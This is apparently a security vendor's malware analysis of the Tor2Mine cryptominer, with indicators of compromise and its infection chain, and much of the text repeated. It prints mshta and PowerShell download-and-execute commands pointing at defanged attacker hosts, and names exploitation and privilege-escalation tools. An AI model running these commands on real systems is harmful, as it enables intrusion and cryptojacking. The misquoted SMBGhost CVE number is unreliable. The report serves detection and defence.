\nDestruction Level:<\/strong> High
\nPrevalence:<\/strong> Moderate<\/p>\n
<\/p>\n
Malware Name(s)<\/h3>\n\n- Miner.Win32.Tor2Mine (Padvish)<\/li>\n
- Virtool.PowerShell\/Obfuscator.A (Kaspersky)<\/li>\n
- PowerShell\/Agent.JJ (Eset)<\/li>\n<\/ul>\n
<\/p>\n
What is miner?<\/h3>\n
Miners are individuals or software that extracts cryptocurrencies through mining them. Bitcoin is a type of cryptocurrency and extracting bitcoin is a kind of data verification that is done in two complex stages of the SHA256 hash. Bitcoin network rewards extractors with bitcoin for their attempts to calculate complex calculations. Malware authors write malware to use the victim\u2019s system to mine bitcoin and not to pay for these calculations. These calculations will engage the CPU of the victim\u2019s system and slow down it.<\/p>\n
<\/p>\n
What is Tor2Mine malware?<\/h3>\n
Tor2Mine Malware has the capability to self-replicate within a network. Upon infiltrating a victim’s system, its primary objective is to engage in cryptocurrency extraction. This malware exploits a variety of vulnerabilities within the system by remotely executing its predetermined code.<\/p>\n
<\/p>\n
Technical Review<\/h2>\nIndicators of Compromise (IoC)<\/h3>\n
\u2714\ufe0f\u00a0The presence of a service titled “cli_optimization_v<\/span>“<\/strong> is detected, initiated with the command:
\n-cmd \/c mshta hxxps:\/\/qlqd5zqefmkcr34a.onion.pet\/win\/checking.hta<\/span><\/p>\n\u2714\ufe0f\u00a0Additionally, a scheduled task is identified, invoked with the command:
\n– cmd mshta hxxp:\/\/asq.r77vh0.pw\/win\/checking.hta<\/span><\/p>\n\u2714\ufe0f\u00a0Furthermore, files with the following names are found within the victim’s system:<\/p>\n
\u25aa\ufe0fC:\\Users\\MSSQLSERVER\\AppData\\Local\\Temp\\ potato.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\ProgramData\\Oracle\\Java\\java.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\ProgramData\\Oracle\\Java\\javaw.exe <\/em><\/span>
\n\u25aa\ufe0f%AppData%\\Microsoft\\del.ps1 <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\Fonts\\del.ps1 <\/em><\/span>
\n\u25aa\ufe0f%appdata%\\Microsoft\\Network\\PrivFalse.bat <\/em><\/span>
\n\u25aa\ufe0f%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\javaw.exe <\/em><\/span>
\n\u25aa\ufe0f%programdata%\\Microsoft\\javaw.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\del.ps1 <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\del.bat <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\services.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\ProgramData\\Oracle\\Java\\java.exe<\/em><\/span><\/p>\n <\/p>\n
Performance Description<\/strong><\/h3>\nThe malware gains entry into the victim system by exploiting vulnerabilities such as the SMBGhost or other potential weaknesses in the victim system’s SQL database services, or due to not implementing security policies regarding remote access rights, . Subsequently, the malware executes the following PowerShell command within the victim’s system:<\/p>\n
<\/p>\n
![\"\u0639\u0645\u0644\u06a9\u0631\u062f](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2024\/02\/1-\u0639\u0645\u0644\u06a9\u0631\u062f-\u0628\u062f\u0627\u0641\u0632\u0627\u0631-Tor2Mine.png\")
<\/p>\n
<\/p>\n
Decoding the base64-encoded content from the above image corresponds to the following powershell command:<\/p>\n
“`powershell
\niex ((New-Object System.Net.WebClient).DownloadString(“hxxp:\/\/ff-emmersdorf-klagenfurt.at\/data\/start.ps1”))
\n“`<\/p>\n
This clearly indicates the malware’s intention to download and execute the start.ps1<\/strong> file.<\/p>\nThe content of the “start.ps1” file resembles the following code. Notably, the malware consistently deploys the base64<\/strong> algorithm in its regular process to obfuscate commands.<\/p>\n![\"](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2024\/02\/2-\u0645\u062d\u062a\u0648\u0627\u06cc-\u0641\u0627\u06cc\u0644-start.ps1.png\")
<\/p>\n
<\/p>\n
Decoded content of the above commands, is as follows:<\/p>\n
![\"\u0645\u062d\u062a\u0648\u0627\u06cc](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2024\/02\/3-\u0645\u062d\u062a\u0648\u0627\u06cc-\u062f\u06cc\u06a9\u062f-\u0634\u062f\u0647-\u06a9\u062f-\u0628\u0627\u0644\u0627.png\")
<\/p>\n
![\"\u0645\u062d\u062a\u0648\u0627\u06cc](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2024\/02\/4-\u0645\u062d\u062a\u0648\u0627\u06cc-\u062f\u06cc\u06a9\u062f-\u0634\u062f\u0647-\u06a9\u062f-\u0628\u0627\u0644\u0627.png\")
<\/p>\n
<\/p>\n
The most important operations of the above commands are:<\/strong><\/p>\n\n- Running a tool that exploits the CVE-2020-796 vulnerability known as SMBGhost.<\/li>\n
- Executing tools to escalating access level<\/li>\n
- Downloading and executing the GoldBrute botnet<\/li>\n
- Prolong malware persistence by placing the malicious javaw.exe<\/strong> file in the startup path and creating a scheduled task for this file\\<\/li>\n<\/ul>\n
Furthermore, the “start.ps1” file performs the following operations:<\/p>\n
\n- Downloading a copy of the 7Zip program to extract the “java1.8” file and executing the “ServSVC.exe” file within that.<\/li>\n
- Ensuring malware’s persistence by embedding a PowerShell command in a registry path.<\/li>\n<\/ul>\n
?potato.exe<\/p>\n
Deploying the “potato.exe” file to escalate access level from Windows Service Accounts to “NT AUTHORITY\\SYSTEM”.<\/p>\n
The tool associated with these operations can be found at the following GitHub<\/a> link:(https:\/\/github.com\/ohpe\/juicy-potato).<\/a><\/p>\n?rpc.exe file<\/p>\n
<\/p>\n
What is miner?<\/h3>\n
Miners are individuals or software that extracts cryptocurrencies through mining them. Bitcoin is a type of cryptocurrency and extracting bitcoin is a kind of data verification that is done in two complex stages of the SHA256 hash. Bitcoin network rewards extractors with bitcoin for their attempts to calculate complex calculations. Malware authors write malware to use the victim\u2019s system to mine bitcoin and not to pay for these calculations. These calculations will engage the CPU of the victim\u2019s system and slow down it.<\/p>\n
<\/p>\n
What is Tor2Mine malware?<\/h3>\n
Tor2Mine Malware has the capability to self-replicate within a network. Upon infiltrating a victim’s system, its primary objective is to engage in cryptocurrency extraction. This malware exploits a variety of vulnerabilities within the system by remotely executing its predetermined code.<\/p>\n
<\/p>\n
Technical Review<\/h2>\nIndicators of Compromise (IoC)<\/h3>\n
\u2714\ufe0f\u00a0The presence of a service titled “cli_optimization_v<\/span>“<\/strong> is detected, initiated with the command: \u2714\ufe0f\u00a0Additionally, a scheduled task is identified, invoked with the command: \u2714\ufe0f\u00a0Furthermore, files with the following names are found within the victim’s system:<\/p>\n \u25aa\ufe0fC:\\Users\\MSSQLSERVER\\AppData\\Local\\Temp\\ potato.exe <\/em><\/span> <\/p>\n The malware gains entry into the victim system by exploiting vulnerabilities such as the SMBGhost or other potential weaknesses in the victim system’s SQL database services, or due to not implementing security policies regarding remote access rights, . Subsequently, the malware executes the following PowerShell command within the victim’s system:<\/p>\n <\/p>\n <\/p>\n Decoding the base64-encoded content from the above image corresponds to the following powershell command:<\/p>\n “`powershell This clearly indicates the malware’s intention to download and execute the start.ps1<\/strong> file.<\/p>\n The content of the “start.ps1” file resembles the following code. Notably, the malware consistently deploys the base64<\/strong> algorithm in its regular process to obfuscate commands.<\/p>\n <\/p>\n Decoded content of the above commands, is as follows:<\/p>\n <\/p>\n The most important operations of the above commands are:<\/strong><\/p>\n Furthermore, the “start.ps1” file performs the following operations:<\/p>\n ?potato.exe<\/p>\n Deploying the “potato.exe” file to escalate access level from Windows Service Accounts to “NT AUTHORITY\\SYSTEM”.<\/p>\n The tool associated with these operations can be found at the following GitHub<\/a> link:(https:\/\/github.com\/ohpe\/juicy-potato).<\/a><\/p>\n ?rpc.exe file<\/p>\n
\n-cmd \/c mshta hxxps:\/\/qlqd5zqefmkcr34a.onion.pet\/win\/checking.hta<\/span><\/p>\n
\n– cmd mshta hxxp:\/\/asq.r77vh0.pw\/win\/checking.hta<\/span><\/p>\n
\n\u25aa\ufe0fC:\\ProgramData\\Oracle\\Java\\java.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\ProgramData\\Oracle\\Java\\javaw.exe <\/em><\/span>
\n\u25aa\ufe0f%AppData%\\Microsoft\\del.ps1 <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\Fonts\\del.ps1 <\/em><\/span>
\n\u25aa\ufe0f%appdata%\\Microsoft\\Network\\PrivFalse.bat <\/em><\/span>
\n\u25aa\ufe0f%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\javaw.exe <\/em><\/span>
\n\u25aa\ufe0f%programdata%\\Microsoft\\javaw.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\del.ps1 <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\del.bat <\/em><\/span>
\n\u25aa\ufe0fC:\\Windows\\services.exe <\/em><\/span>
\n\u25aa\ufe0fC:\\ProgramData\\Oracle\\Java\\java.exe<\/em><\/span><\/p>\nPerformance Description<\/strong><\/h3>\n
<\/p>\n
\niex ((New-Object System.Net.WebClient).DownloadString(“hxxp:\/\/ff-emmersdorf-klagenfurt.at\/data\/start.ps1”))
\n“`<\/p>\n<\/p>\n<\/p>\n<\/p>\n\n
\n